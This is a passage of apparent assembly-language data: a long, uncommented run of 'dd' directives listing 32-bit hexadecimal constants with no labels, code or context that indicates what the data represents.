0F8C5FE18h, 0FAB52075h, 25F47006h, 72ECF2B4h, 60F41A1Fh dd 0DCCEF4E7h, 1AE92602h, 86B33517h, 97872186h, 31943173h dd 242A20A5h, 92B1A0B9h, 0F67BEEF9h, 0DAEDE05h, 0C035DBFCh dd 0A48B17B0h, 0AD44B564h, 97A350BDh, 0A90015E4h, 8E59BA19h dd 2872CAh, 5ACF78F5h, 8A042F94h, 37446913h, 24AC6AEFh dd 7CC0F61Ah, 5F20C8Ch, 2B76B3B9h, 0E21DB6D2h, 0F9027F94h dd 0B67763F8h, 0E84DBD06h, 31045247h, 419D782h, 1545C20Bh dd 66C1655Eh, 653D4BBBh, 852F4094h, 159717D8h, 0E2C94622h dd 7AE5D712h, 8CB517F2h, 7900B40Eh, 0C8134DC5h, 95CF9AAh dd 5740C2Eh, 9670A973h, 9EFFAF1h, 3B859BA4h, 6E472079h dd 0F42CDC09h, 6BBAE304h, 2F8C71B3h, 13D9F0BBh, 4524BF7h dd 907B5AFh, 0E435775Bh, 35831D91h, 1AA8D027h, 9F16CBB9h dd 0C3008498h, 0A3F4D981h, 45BD132Bh, 0E107F403h, 0E5DCB325h dd 0D2B11024h, 3080B3DAh, 0F9CE3EC4h, 5CDB629Dh, 3F9C5117h dd 0ADB274A7h, 574AC1D7h, 2528B36Ah, 1507E55Fh, 5FE86432h dd 7AA7480Bh, 7D180240h, 21DE092Fh, 23CF1740h, 776B0034h dd 8A5BB679h, 605D5FF9h, 9D2ABCADh, 151C6B51h, 1A5D7671h dd 9C8B6002h, 16614DFh, 8CFA4283h, 2074E332h, 1D4001CEh dd 518B9761h, 0FEC1B04Dh, 303ED87Ch, 9D0152B2h, 27A4BD59h dd 0D8507B5Bh, 5E01D9C8h, 0A6A076B5h, 196EE38Ah, 0C26DF29Eh dd 116E825Eh, 9D4A265Ch, 0A851790Ch, 0B8265A5Fh, 0DE70958h dd 8B8C796Ah, 2D7E50F8h, 68F62F40h, 0C8FE3BB0h, 53031375h dd 0AD8C84DFh, 14B81Eh, 104B1BC9h, 29BA893Dh, 0BFF8F8C1h dd 26DD8462h, 68FC5880h, 0A39A8239h, 0F425C798h, 0C62061BAh dd 9C5C84D0h, 0C109DC2Bh, 73537C27h, 15443AB2h, 70D4DC0Eh dd 0F71BA0A3h, 393C7276h, 94017D65h, 0B5BD8950h, 5FFF521Ch dd 56BB05Ch, 9EFAF6CAh, 0FDF4C361h, 0AD4CE9F0h, 6390CE47h dd 25BD2905h, 0ADCE1685h, 8995A7B2h, 60134F7Fh, 0DBBF0F28h dd 0DC760B97h, 0C0E6F62Ah, 0A02516B0h, 68AA5640h, 17290993h dd 0C4A59D73h, 30F202C4h, 0B4249CB6h, 1003D459h, 0B175EDE8h dd 50A7AA11h, 0C01C7037h, 3D65FC42h, 2EB35C52h, 0FE5F13CDh dd 984EB26Bh, 6E1D5963h, 0FC00783Fh, 20E4BBCCh, 850A4B7Eh dd 17046FB8h, 9BBAA94h, 7E00CB20h, 0B36037A7h, 0F8D5EB50h dd 305615Eh, 70F8B947h, 856EDB4Fh, 8AE9E4Ch, 0E251BDFh dd 0D3B8F733h, 804BDAB5h, 0A616DC8Fh, 0FBA90450h, 0BC7296B2h dd 41320E2h, 104EE068h, 54C8BBAAh, 0EB51C1Fh, 844E6656h dd 0EF5F1C5Bh, 1823046Bh, 9B65E27h, 0EC66A8CAh, 0F19D0908h dd 51602D10h, 0FBB45BFAh, 0B2DE8B89h, 386613h, 53080C02h dd 61FA1032h, 0E89D0B98h, 0A28E0F47h, 0A9595514h, 0C6B8F813h dd 4C9ABEF4h, 0FEC7C49Eh, 8055FC15h, 6BD6A5CCh, 3BF439h dd 350C2524h, 215CBA9Ah, 4BC7A6A0h, 258A924Bh, 79102325h dd 8FF40BA1h, 0F30E4Fh, 49DDE924h, 0B147E04h, 8A92F561h dd 2289C1DDh, 0A0F23B2Eh, 54AD8D09h, 458FD82Bh, 29444002h dd 3EF3D195h, 688BD4F3h, 0C6BFA6A0h, 79520D52h, 2556CDA9h dd 40F08066h, 0B70596B1h, 711681A2h, 4E8E22EFh, 0CB40D1C0h dd 916C1405h, 2AEA5FF5h, 843D80FBh, 7EDF52h, 0E5D8CE2Fh dd 4A7ABFF2h, 0DC309425h, 1446D6D1h, 0D302683Eh, 1D4A493Eh dd 59697A5Ch, 8F10A7F2h, 0A801F66Fh, 302F40ABh, 0F7D84DEDh dd 400FBE06h, 148A11BAh, 5B530D00h, 0F9BF6696h, 1E504A7Dh dd 746D6DB5h, 902091C7h, 17057974h, 0A8D58501h, 0AAA8A4B3h dd 0EE5F8189h, 0CA5B97BAh, 7B191759h, 896174F5h, 5191C43Eh dd 0B6E8BF97h, 0C804DBF8h, 0F56DA86Ch, 79C39DBBh, 999A8D9h dd 13D5A992h, 0C4869482h, 0F8121477h, 291125B5h, 8E92985Dh dd 28BD0037h, 74FB3B66h, 0D01F6BAh, 244BE2Dh, 0B7382AFEh dd 2B2989D7h, 43B24F0h, 31958699h, 5A02BC60h, 1800476Eh dd 3033C9DCh, 0CF70FE21h, 77217B4Ah, 0EDF8D49Dh, 17E1005Eh dd 0F5D794C2h, 88121ABBh, 30F122FEh, 0E0D7A62Ah, 7ED4974Ch dd 3143BF8Dh, 696BEF8Dh, 0EB011823h, 3B05B1A1h, 21A0097Ah dd 0B34A9677h, 0BBBD586Bh, 869FD91Dh, 99E6DDB9h, 8D684D68h dd 5F84BC96h, 0DA03A404h, 0A01ACABEh, 33F5E83h, 0E9A13368h dd 0B59DC973h, 2EA26A3Dh, 20FD8862h, 81E9545Eh, 96931164h dd 701BC76Ah, 1BAC0890h, 5F05E1BFh, 930DC56Ah, 969237A1h dd 27017CE0h, 0D64CF791h, 6D0325D3h, 9BF06E6h, 46E659EAh dd 0ACADA560h, 7E429FE0h, 0EB230694h, 5DE59D33h, 0B574B324h dd 44B63412h, 0D4881EF0h, 96673C01h, 0AE2D7DDDh, 41E5ED64h dd 0FDB2CF31h, 293FEAF7h, 0FCBD7781h, 301F4A80h, 97D3D4FDh dd 0B0BF1998h, 0CE191A38h, 14B2F1E6h, 0E5711631h, 2C8A6Eh dd 6351EAABh, 8AF26Fh, 759866B7h, 0E03841A7h, 64B6CD9Dh dd 0B636601Bh, 647C024Ah, 232F93ECh, 652520D9h, 4E2411E7h dd 0CA1F9820h, 546C0129h, 25B537F6h, 5F646052h, 0FA352EE3h dd 0C69F08AFh, 0DBDDBB01h dd 8F3B1973h, 3AB94A95h, 1B02E8A8h, 9A12F958h, 0E010F791h dd 0F521B509h, 2CBF010Eh, 2E274C6Ah, 0B7528D30h, 2DA392A6h dd 0C974DA8Bh, 7098BF9Dh, 1AE8BB92h, 0E5D3E2Ah, 0F78A4360h dd 265E3931h, 509EEF65h, 0AE61D2BDh, 21D88h, 0FBFCCECBh dd 495DF507h, 0DBD52103h, 0B4D88ACDh, 81004BB8h, 0A7B55F3h dd 0E4BF9023h, 0C7BF002Ah, 99A46EDCh, 8C30A359h, 0BE60A6E5h dd 0A22700D8h, 61E3B378h, 311A5290h, 56D3E595h, 0B18B17B2h dd 8D6824C9h, 440130E5h, 7522A212h, 6BD309BDh, 4B12DC8h dd 25CD0668h, 0A91D742Bh, 25A0A8CFh, 7C03BB7h, 2143C19Dh dd 0BDD58CC9h, 0A6F0AF0Ch, 0F09DF80h, 0A54D8B9Dh, 0E130020Dh dd 0DFF242h, 0B47B31DEh, 2B305DD2h, 40211A01h, 50907585h dd 21618D7Ah, 0CBC620D3h, 0B6CC2F5Bh, 0C8C1BF90h, 84BA1455h dd 4826FC5Fh, 429E4EF7h, 0AADBDC82h, 0BFC1A40h, 4BD9D17h dd 0DC2A3A4Bh, 8AC7705Eh, 0BF4BC682h, 0B61622C6h, 0FDF90C35h dd 122F7CB8h, 6577823Fh, 7F30F7EAh, 489CD8BFh, 0DC585EA5h dd 2082901Ch, 870B1E5Eh, 5632620Fh, 682C93Ah, 5B090CDDh dd 8460183Ch, 9D3201FEh, 0F7612385h, 17916035h, 0B6526580h dd 874C0FCEh, 0B7FFCB64h, 261780EAh, 45718891h, 8EF7430Bh dd 2D108218h, 95B5211Bh, 35A20419h, 3457DB00h, 4F6066CFh dd 0EDB92409h, 865567Ch, 85621115h, 2DE90203h, 0F7AE870h dd 96F945BDh, 1E30EBB0h, 0B3AA3Ah, 0BED8E139h, 925C1DC9h dd 541F0E00h, 847497Bh, 70E62884h, 0E4F902B3h, 0B9BD3371h dd 5B9F4A78h, 9893A78Ah, 0CAA5F8F0h, 44B3470Eh, 0F2BE6061h dd 9E09FA3h, 33A64BD1h, 0EC966570h, 30EEAB13h, 12AD9585h dd 5222DC84h, 4941EEC7h, 0FBCDF781h, 0B845122Eh, 45B2D25Eh dd 0E9091621h, 0E021E4A3h, 880F2D9Eh, 0C504FFEh, 0A4AD0079h dd 0C272D4D6h, 340B1821h, 7B6E04Eh, 1698897Ch, 86F257h dd 0D6BD6D83h, 58324C73h, 0BD5B91A3h, 21663BC0h, 0F9A53DDFh dd 111759C9h, 0B8856E9h, 0A58006E8h, 1B051D9h, 8D3125CAh dd 5B97FFDCh, 535132FAh, 22256F61h, 0DEB14F02h, 1438A67Fh dd 77C2784h, 4B56EF81h, 2200A5E5h, 31BD0BFEh, 0AA12B71Dh dd 24749E08h, 0E0800CA4h, 3097D81Ah, 9FFDEC64h, 0BD086F3h dd 9D630C5Fh, 0F542A9CFh, 0B9B58909h, 0A5C55F06h, 7643525h dd 6F5209Dh, 7520D021h, 6EB9141Fh, 1EC48808h, 7789B848h dd 992DEB07h, 0BF70236Ch, 9FB8A47Ch, 0C08044F1h, 9AAB8A7Eh dd 0B43D4B50h, 6DF92B9Ah, 51BBB86Ch, 13F2D1EDh, 2B1682C9h dd 4BB7C488h, 5E2C9BB2h, 700BA96Ah, 0C87BA673h, 1A92D70h dd 298C87FEh, 3E761A8Eh, 0A9A428E6h, 1548082h, 5D64D86h dd 855A5683h, 489CBE87h, 96224355h, 4AA0BBA6h, 8012F537h dd 8DE394CBh, 0DFE204Bh, 91380F1Bh, 158D92B7h, 62D89400h dd 2D112224h, 4DF4F042h, 0A7E7007Dh, 0A1B51BE3h, 0F620DB4Eh dd 0EDCEEAh, 0C8DD43CBh, 6DE6E444h, 0C3B41097h, 0FCE800C9h dd 0D83695CDh, 4512BA7Dh, 91E21FDEh, 89A88288h, 58828D79h dd 0C17B9DC1h, 1C7AA4D0h, 0D2DC8ABBh, 0B28CE640h, 7345301Bh dd 303BE501h, 2B7D9D99h, 0B711CDCCh, 56FA4ED1h, 97AFC3EFh dd 2421C7EDh, 0C938AE26h, 87BC8694h, 5F4902D4h, 36F67511h dd 0A556A362h, 0B77E7F51h, 0B111B7E0h, 136E9217h, 4DE70B42h dd 0BD12FFFAh, 0B3B818A1h, 262C0EE2h, 601740DDh, 8B95E798h dd 4B38543Ah, 22D49075h, 5A7F97h, 49B85E92h, 1BAFBF76h dd 5F44F812h, 97FCBEEh, 43F15Ch, 763347B3h, 46242F86h dd 5412AE5Eh, 662D41E1h, 0DE0131B8h, 0C6C7D9D3h, 482E6E43h dd 0EDA55537h, 18E7C228h, 3D71FD46h, 2F415401h, 481A606Bh dd 4DD85FCh, 712CBCAAh, 736BAAC1h, 381F1723h, 0BF153D4Ah dd 61F5DF04h, 56DF68B9h, 1CB90252h, 12DD588Ch, 0E1D0D40Dh dd 30FF579Ch, 0E53A943Bh, 99C30536h, 5FA8C7B1h, 0E1F8F692h dd 940E829h, 81855h, 6FEDEACFh, 6478445Ch, 901E1F4h, 0FBA081C4h dd 7C68FE3Bh, 3138E80h, 5F5EA24Ch, 987A5D87h, 0B1B53140h dd 0A826BD18h, 68040D69h, 0A3400E65h, 9A04AEA8h, 0F65CDEF5h dd 6177E2B8h, 629208F0h, 0EBBFC541h, 1823A66Bh, 9190C600h dd 2D29E4B2h, 7A24319Dh, 0C5ADB8F4h, 2C12880Fh, 4BE981A0h dd 0DF89C8ACh, 738C0B97h, 46CDD8FCh, 75197A02h, 0EA7BA36Eh dd 56DCCA43h, 0E78160B2h, 0D6254C7Ah, 9599C656h, 60576C99h dd 4F9C064Ah, 0D11C05DCh, 17B28F4Fh, 5055EEF5h, 8C19B893h dd 80F4A802h, 78D86039h, 44628DAh, 65D561E8h, 6B75B750h dd 25BDD4E4h, 0D9D63391h, 33E86DEh, 3B556841h, 13A861C0h dd 1F01A0DEh, 0A5F9D3BFh, 748F814Bh, 2E5FDDECh, 8412DEC1h dd 16E24927h, 0F17CE64Bh, 0D4C022ADh, 0B31C09F4h, 1B7D500Bh dd 7184B252h, 0BE04129Ch, 0C45E506Fh, 17F9824Ah, 80BFEF5Bh dd 0BD80585Ch, 1E1F3CBh, 32668192h, 0E0C7CA25h, 0C3FE561Eh dd 0A5C1F548h, 0B0A07BF6h, 5517D5A3h, 5F048E66h, 610B1531h dd 0F172F9F3h, 0C0438E7h, 0B8D26286h, 9D89B17Dh, 0CE2A28C5h dd 0A6515B70h, 7C54BCE1h, 13AD7F2Fh, 88CCF1EFh, 24007A29h dd 83B8483Ah, 7F8AAC50h, 974470FDh, 0B3D062D3h, 0E8A50126h dd 0D5E9EB28h, 559D2109h, 4E6BEBA9h, 973018E2h, 74F416ECh dd 32FE88ADh, 81B5283Bh, 41065BE7h, 0D2CC0169h, 48297E08h dd 651231BEh, 8436DE11h, 0B1F249C0h, 8FCD16h, 3E03A571h dd 0B6FCEAF3h, 0EEF2CB01h, 1F250990h, 51E45CCAh, 8D891126h dd 432312F9h, 8B1313CAh, 4D429E9h, 41746DEh, 45A5D573h dd 564B8Ch, 0D9CB338Ah, 575B35CFh, 8700A9A6h, 59E61893h dd 283422h, 12EF0C77h, 0BF357B60h, 0A3B85B4Fh, 162C03AAh dd 0B9A75B36h, 7F78AF20h, 94CB9A39h, 0BA9EBA41h, 7CB59C80h dd 6C05E859h, 0F1658805h, 0D2E6DABBh, 38127CA6h, 6C6F0563h dd 0A3D18796h, 0C0A6BB3h, 0D5094DBDh, 75F20351h, 0DEBB3D68h dd 42270A12h, 6A5BD8E7h, 0FF709E8h, 7147128Dh, 0D1370069h dd 10365DD0h, 31963E62h, 815B001Bh, 2115ACCBh, 5BB06D4Ah dd 95B075F7h, 71079CB9h, 16CBCAD1h, 52C42Bh, 0A2A64858h dd 19C295Ah, 0DBD3E4Bh, 87647C8Bh, 0B86EC800h, 7A038179h dd 4D3300B4h, 9529C3A1h, 568A0A21h, 0B75D49F9h, 52B8BFEFh dd 0FB828D80h, 0FEFBF5Dh, 9668419Eh, 568062CBh, 2BFE2FF7h dd 7FC35849h, 0EFCD95B3h, 0D1601964h, 70124A52h, 0EBB95D99h dd 278C15ACh, 0B760F3FAh, 6A4FA842h, 0F4BD4AB9h, 0C1006A88h dd 0C9AC73B6h, 93FB8B63h, 10D92F69h, 24DE4801h, 7A8E1A5Eh dd 5F6BF0EFh, 10993E6h, 5C186185h, 20FA40B3h, 669F6050h dd 94D9954Ch, 94C76AFh, 0C55C619Ah, 943F74DEh, 3902132Eh dd 0A83C699Ch, 2F1A0491h, 0A289D6AAh, 0C6F5255Ah, 0D71ADECEh dd 0E38EB807h, 0CDED844Ah, 0D3DE6DE9h, 9D1871F6h, 8D3179C9h dd 0F9176525h, 0FEBBB9B2h, 40DD104Ch, 0A939AB7Fh, 0A99D3102h dd 2B3F7FE5h, 0AD3AF300h, 25BD2BF8h, 0E2DC1471h, 0FAF51E4h dd 9D18D7Bh, 0DF323185h, 41290492h, 0BB819459h, 374A6C4h dd 6C70282Eh, 2E7A6FE1h, 55EBA402h, 0AC7614DCh, 9ED2C740h dd 4A67597h, 0A4CDA58Dh, 8605EA8Ah, 0DEEB2215h, 0C84D805Bh dd 7D9D2B54h, 84C2BC35h, 0AFC6AFB5h, 0B104C248h, 6E693B1Ah dd 9582FEF3h dd 0A80819E5h, 25FE7A27h, 86709BE9h, 4A4A6658h, 238928F8h dd 915A3777h, 0AB0C8415h, 0E6CADF80h, 7B109750h, 3F00EEFBh dd 0B3878BF8h, 9E67CE04h, 0D01B401Eh, 835B72A7h, 0E4416BDh dd 42170961h, 5BA2A146h, 0F5067130h, 85090A06h, 135F1F01h dd 0AE0917CEh, 0A000AE6Fh, 5612FD0Eh, 3E98902Bh, 7E29804Bh dd 3ECC57F6h, 2C5FAB7h, 0E033791Ah, 0C8E09965h, 61813181h dd 0BA09162Fh, 5790600Bh, 1CA1D490h, 859AEE00h, 0D66222C7h dd 99B3018Ah, 900C0A8Eh, 0BE3B50E7h, 60E2DAD4h, 190FB300h dd 0D70B1730h, 9CFA02B2h, 5B884308h, 0A3741857h, 0F74400A9h dd 0EEAE6159h, 84D29074h, 556005AFh, 0E733AF18h, 290A24F9h dd 0BC2516B9h, 59E6B42Fh, 74F613A0h, 17B2F748h, 4B1425Eh dd 8E6B8425h, 0D5440023h, 0AC557BC0h, 8F4004CBh, 191721Dh dd 0AEDD4DBFh, 511C5EE2h, 0C91B7C81h, 7F1AF705h, 4AD438DCh dd 5064E9BFh, 0DB49CF66h, 849B5E4Bh, 38C84181h, 934C8951h dd 590F7BF5h, 13B181Bh, 91671DA2h, 2007695Fh, 64045F8h dd 0E3E54AE9h, 0BD88954h, 8093B78Eh, 1201288Eh, 0FC0967B2h dd 1A66D42h, 1B72DBC9h, 4F4D5A30h, 0FE7A09h, 0EDD77C8Bh dd 9252931Ah, 0E35B4B54h, 8F517AFCh, 42302E69h, 5CF81F8h dd 446C49CCh, 0BC142490h, 0DADE3DFFh, 0EC953C8h, 15D9E148h dd 5B3B3AA2h, 0FBA7365Eh, 1E53D812h, 0B2161000h, 0C68B2923h dd 0D473978Ah, 1E3E4ADh, 71531DF6h, 299EA0BEh, 0BD23C491h dd 0AD0752EFh, 0C3E1927Eh, 955667C8h, 5F78AB60h, 6DFF6A25h dd 0D4DFC544h, 5DE0AB7Ch, 8D875B0Fh, 0DAA22FAEh, 0A78D0B1Dh dd 56697DFEh, 81D45284h, 5927D440h, 0A3B61CF1h, 0F38000B0h dd 0E470E632h, 810F7114h, 0DD1D5015h, 27CC114Bh, 0F78088EBh dd 0A3B9D44Bh, 3D3DC8D2h, 0B0B2C225h, 0BA9E265h, 7A5BCB45h dd 0FE5C7009h, 18A16040h, 5F1909B4h, 0E5FF461h, 139B4F5Ah dd 0C9B7F601h, 4BD7B057h, 84AEAC20h, 0BB352A0Dh, 3958Ch dd 87DE3D2Fh, 4E7A5DACh, 61C046C4h, 0BBC184BBh, 0A3D9CFC2h dd 97FE9A1h, 0A9952939h, 8AC2137Fh, 2B600031h, 275841B5h dd 9E07CF1Ch, 77041989h, 0E414B918h, 3B121F0Bh, 0A49AFDD0h dd 0E3A9C880h, 565D10B2h, 132452A6h, 93333FE9h, 0EF194A19h dd 6824525h, 75F2A9E1h, 3390B794h, 1FCA0CFAh, 0FE1F1BA5h dd 0D0C56876h, 0EF4B6826h, 20B92224h, 6107ED82h, 0E5226D5Dh dd 3DAC0DF5h, 7BE63E8Dh, 0D62B5268h, 229F6D50h, 84BCE73h dd 0C8B943CDh, 1BBEFEAh, 0D2B9E220h, 48612207h, 28E192BFh dd 1036E2Bh, 0C2891519h, 0F4E6C886h, 0EF81606Ch, 7801CBC3h dd 9D23FC6Fh, 993F03B1h, 0C20AF0BEh, 2129C900h, 4A619D35h dd 0AF05032Dh, 6FF67C1Ch, 0BBFD4E8Bh, 7627491Ch, 0B607E0C5h dd 78003869h, 45A253B8h, 4B5A8836h, 0F674C461h, 3D88E025h dd 2DD248F1h, 0EB070D13h, 0CB80E860h, 739E97BEh, 0B92512B0h dd 0D0A8DB2Bh, 0DD1D3F79h, 5CE5A86Ch, 18826948h, 0AC4164A9h dd 0A8A77F5Fh, 6859E0F1h, 58F980F8h, 0EBBC77h, 292BF56Dh dd 7C439CA3h, 0E2EDAF02h, 79B45EB6h, 820F8428h, 6328EA0Ch dd 0F9853931h, 0D3E7E2CAh, 9500E06Bh, 0B968050Ch, 78B5BBE9h dd 2D5FF8DEh, 679D98Bh, 0DB6ABF71h, 0E067C0A4h, 7873D509h dd 80C999F5h, 4DD18ABCh, 0E001CEE7h, 655F3D36h, 802ACCBEh dd 5BA31B2Eh, 5A669497h, 0C0139E73h, 89C4E3C2h, 2321259Dh dd 291784ECh, 0CE441D85h, 6ABC7CB7h, 8EC0F2D0h, 0B72874B1h dd 0D40006E6h, 0ECD17E2h, 27C3AC0h, 275044F4h, 56DE1FFh dd 25C4DBE9h, 760957C5h, 773D7504h, 0C9373A02h, 51535E74h dd 79B91765h, 0E9214726h, 5CF4C3F4h, 0A7262750h, 7905906Bh dd 0DCD0B4h, 6410DC31h, 0BC268830h, 0B72E32E6h, 0CD600C9Ch dd 500A5Ah, 3866570Dh, 86FD1ACFh, 0EB33109h, 4B7F78CEh dd 0F14DC4F8h, 2D482EE2h, 1C467E67h, 74877600h, 9398E4D6h dd 1E47BB2Ch, 380F0508h, 33B99D89h, 4D6B9759h, 1B9D400Ch dd 8FEEF5FFh, 6D402A9Ch, 73C0F10h, 51D5F790h, 157CD034h dd 0FEE2A21Eh, 0DC5BCA25h, 77B5EBF8h, 0C6F7EB00h, 99772F3h dd 5307366Ah, 7C9DF7C4h, 73E3802Bh, 8BB56DABh, 0E7ECFA4Ah dd 57602Ah, 0FFE26C2Fh, 8FAD52B2h, 0FCB7201Dh, 91BAA1C1h dd 95C8E0B4h, 52502C5Fh, 19F5CB5Ch, 601061DDh, 901E1EBFh dd 6A920D92h, 337AFAh, 0F88BAA8Dh, 34D1E368h, 0AC0E46A3h dd 0D21C0F01h, 0F3E132BCh, 0B4ABF66Bh, 1B8A6EBh, 5A401018h dd 342FF8CFh, 0CB82802Ah, 0E9124BD1h, 60FB01EEh, 0CA5741FAh dd 0A3649100h, 0B8AE2369h, 4CE80239h, 0A1F4411h, 955CBE0h dd 4CBC595h, 0BCE5EBBBh, 0E6DD4B1Ah, 5607786Ah, 0E65FF925h dd 3A44952Bh, 0B23C9101h, 152623E1h, 8D4B2A3Ch, 8AA36E3Ah dd 649CF600h, 9BE62A0Ch, 6A07DBECh, 581D2D12h, 0A22665h dd 53A93802h, 0F48598DDh, 0C9EEDB06h, 4E644Bh, 0FE796F30h dd 8D292FD7h, 0C91D2524h, 89331F72h, 3D77F9C8h, 628B80AEh dd 5AC534E5h, 31F8A0A1h, 84E92EBDh, 0DDC97EC3h, 60E8E3B9h dd 8BBDDFDEh, 969337BFh, 5AF5B9D8h, 5779AB6h, 6EEA4468h dd 907E8C7Ah, 0E43BA900h, 62982D6Fh, 0C6BA0364h, 437DA318h dd 4EB6D2D8h, 0BB099692h, 777A71E9h, 0BD164DC6h, 0AAB91D51h dd 5389FFD2h, 30FBFC93h, 1E2FCE13h, 2B11400h, 0FA455EE9h dd 0FD151E55h, 82938C67h, 640D156h, 9573B75Fh, 0B2839200h dd 0D639AEh, 989057D7h, 7217916Fh, 60559300h, 0B3565E61h dd 0B75A5FF9h, 189DE09Bh, 0E06409C0h, 0A1C0BD6Ch, 0C3821961h dd 4EE1C52Eh, 0F7E8DC6Ah, 6EAE0C4Bh, 0E4051F53h, 3477C043h dd 3FD3A8AFh, 647E250Eh, 53926BE5h, 0CA4A23BDh, 442F3827h dd 245D25B5h, 5F091A5Dh, 4200B8B7h, 4D66D2FFh, 0B7D713B6h dd 8C6BEE8Fh, 779015E2h, 0EAB438B9h, 0ABB13CDCh, 0C5923D80h dd 0BF6648E8h, 0E5084225h, 5BDF180Dh, 2AF49D8Bh, 250D9C97h dd 0DEFB03CCh, 2DDE27D0h, 0C253FDC9h, 73DBB709h, 0C1DBADE6h dd 6996650h, 0C4B5F43Bh, 0E14EE8ADh, 1D260BFAh, 0E6ECBA5Ch dd 0B9174B11h, 0FE96CB3Bh, 0B7DF2887h, 825F806Ch, 0B64A58E6h dd 83E64BBBh, 0A5BE9CA0h, 433039h, 0BFD92011h, 6542EC44h dd 0BB33BE4Ch, 1DB0A78Ah, 403F69EEh, 550125FDh, 980E6A8h dd 0D0E92605h, 16D7DAADh, 581C93FDh, 0F8E6F95Bh, 0CBDACF3Bh dd 1CAD95B9h, 0C80226ECh, 7AFED267h, 0E4355761h, 0DF9D1791h dd 0B95B92AEh, 88284E2h, 7CFC5349h, 0B94F1611h, 603BAD1Ch dd 201A48D0h, 3CE2BB04h, 0ECB83306h, 6893885Ah, 0F8769D00h dd 1150FE88h, 8BE700C0h, 29B28754h, 2B4B09B5h, 205043D1h dd 0A5C9D843h, 23F36FAEh, 10FD251Ch, 5ADFE75Ah, 532F3BDh dd 1D559589h, 0D6F99BBBh, 13370CD8h, 0ED8D89BAh, 149E4BB2h dd 475C2080h, 7D0087E5h, 0BFC7A55Fh, 4A454FCBh, 0B2E4B651h dd 54E5301Ch, 0A7638900h, 55AE566Fh, 0C0B0BFB3h, 0CD499D29h dd 9EBC5B0Bh, 3D525F3Ah, 515D304Ah, 227F20B4h, 9404F8E4h dd 85894CF5h, 5B6191EAh, 0E7302E5Fh, 4315BD23h, 0D52CC925h dd 0D88E4B3Dh, 0A5DF4978h, 88FEFB60h, 242714Fh, 1ED08693h dd 0DC0B6D27h, 0E0FB5A8Fh, 2068E50h, 0CBE61ADEh, 4DFFF242h dd 91B06B87h, 0D212BB53h, 3ACCACAEh, 9DC25DD6h, 45A9FC0h dd 394B9757h, 8502F58Dh dd 51F35CD9h, 80041420h, 9DFB31D1h, 0EC03F6Fh, 0BFC64DBDh dd 0C7D4B830h, 4E8F9B14h, 5FB34AEFh, 0A070A6D7h, 33F18E2h dd 3ACC9162h, 9EB6FAA0h, 4AE95D44h, 3A68E121h, 0A192E6A8h dd 8BED8FC0h, 32E7A1C1h, 218223E9h, 2FFB3887h, 0E2BF6F5Dh dd 5B0004F8h, 4DC5707h, 0E863F370h, 0F3D0AF44h, 0E16AEAh dd 0E962F24Dh, 41025FA9h, 369A1101h, 7AB2030h, 23330840h dd 0C68F00A8h, 0F6A5C955h, 5253730h, 0C7BFD6A1h, 31CD2217h dd 0AF686057h, 58E00BAh, 0FABC9CA9h, 0C9001356h, 0AE106ED1h dd 15A4FCDh, 0A3B3B01Ch, 0BCFA49E5h, 48198311h, 975B4E08h dd 81DDA140h, 0C2BE01CFh, 7CDC6980h, 400DF9F7h, 0F9108FF7h dd 41EBD00h, 44CC6BE2h, 203E00A1h, 95390DE6h, 0C9078FCFh dd 347DDD65h, 9C14EE20h, 8C3A0757h, 42EBAD99h, 29A06EF0h dd 77312123h, 0FA566200h, 3AA9EF6Fh, 9B37C1E5h, 0C8BC5BE7h dd 0B42F83C1h, 0D3F3E89Ah, 5EACA07Fh, 2A8DA4FAh, 388A27Eh dd 0FB9EA0DCh, 38111096h, 0FE7906DFh, 518E22Ch, 10A9BEBCh dd 53E38350h, 97AC0097h, 2D0181C7h, 74054313h, 0FFC3608h dd 47D895A3h, 0AF73E018h, 0A041167h, 97C79C30h, 0F9B503A7h dd 1F1C986Ah, 83891D08h, 0B2107527h, 0FE00FBEAh, 0F977E868h dd 62563Ch, 9BBB8824h, 0AEB0CCDDh, 83C91B50h, 3A1A2F01h dd 4B91D07Ch, 0E2E71130h, 514402B3h, 6BC78E17h, 2E3BB482h dd 3DA5405Dh, 0F03562CCh, 8D265729h, 0BAF3187Fh, 9834EC16h dd 0F389C929h, 0D86D681h, 0E02B9EA1h, 4C000CB3h, 53EF930Ah dd 0C30E43B4h, 1487CE54h, 0DE0358E3h, 72576376h, 3B693B50h dd 0B41DE11Eh, 0CA5F1C1Eh, 541BF1Bh, 2749095Fh, 1C418FB3h dd 30CBDE60h, 0F74B53CFh, 7C1517ADh, 0DD0FA39Fh, 43209DA1h dd 5105606h, 2C6D3115h, 892504ECh, 91AF99B9h, 825A0EE7h dd 53677236h, 92665476h, 1673EBD2h, 0F4B288A2h, 18EFC058h dd 1176DA64h, 0C6D16D00h, 72E2667Fh, 0C9890EDEh, 0D45E9A8Fh dd 7640B96Ah, 0C896894Dh, 67243CB7h, 0A7037C30h, 88332C70h dd 39BBFDE8h, 0A8B85217h, 89FBEE9Ch, 825FC965h, 5DF30906h dd 2BA77341h, 0A12E87E5h, 82DCDC03h, 1B67CE09h, 1C2E0047h dd 11444h, 914DD748h, 35C9BEA0h, 32E15100h, 0CA1FD9ADh dd 0D9F895FEh, 6D20EDE6h, 77C1E82Bh, 87D70084h, 0C844DB92h dd 6F142FA5h, 0F877CDAh, 60DF631Fh, 0A56DD7Dh, 0E05C00C5h dd 96054CBDh, 0A4D00C8Ch, 4B0B0197h, 334F6A5Eh, 5BEBAF50h dd 0EE6E01F7h, 9F1281DAh, 0A383CBD6h, 0DFD1D0C8h, 0B98AC00h dd 33323574h, 677300ECh, 11E74EA6h, 0D1029782h, 0E368E87Dh dd 3C4D644Fh, 0F214A5B5h, 200EF38Eh, 83FCBB30h, 0FAB8D628h dd 6EC0BAC4h, 18D2E6F3h, 0B2A5498Eh, 1A3F89C0h, 78246008h dd 0B77C596Dh, 0BAD831A4h, 2B00D28Ah, 0D492C287h, 15B86DC1h dd 791F9A80h, 0B92A6C00h, 0BA584E65h, 4540111h, 656EE42h dd 0F1BE3040h, 2DEA5F73h, 93E07F01h, 0CDC3605Ah, 64D5C730h dd 80258EE3h, 0D4470E85h, 9206AA00h, 0A435608h, 269F78A6h dd 83C11D3Dh, 87F0E46Fh, 26B9AD00h, 862BD8C4h, 5F6B00F1h dd 0DE4A49FBh, 0DD09C888h, 75800794h, 48D7F300h, 857C6B5Eh dd 1C279F09h, 12297D3Ch, 0BA30AC04h, 0C3D61A81h, 0B70FA42Eh dd 0E4E1B01h, 96AD0148h, 2F0C731h, 7E30CC57h, 9D32CC72h dd 609A1055h, 0F75E5B9h, 96213D41h, 53088301h, 9BA0E764h dd 9909AE30h, 75554029h, 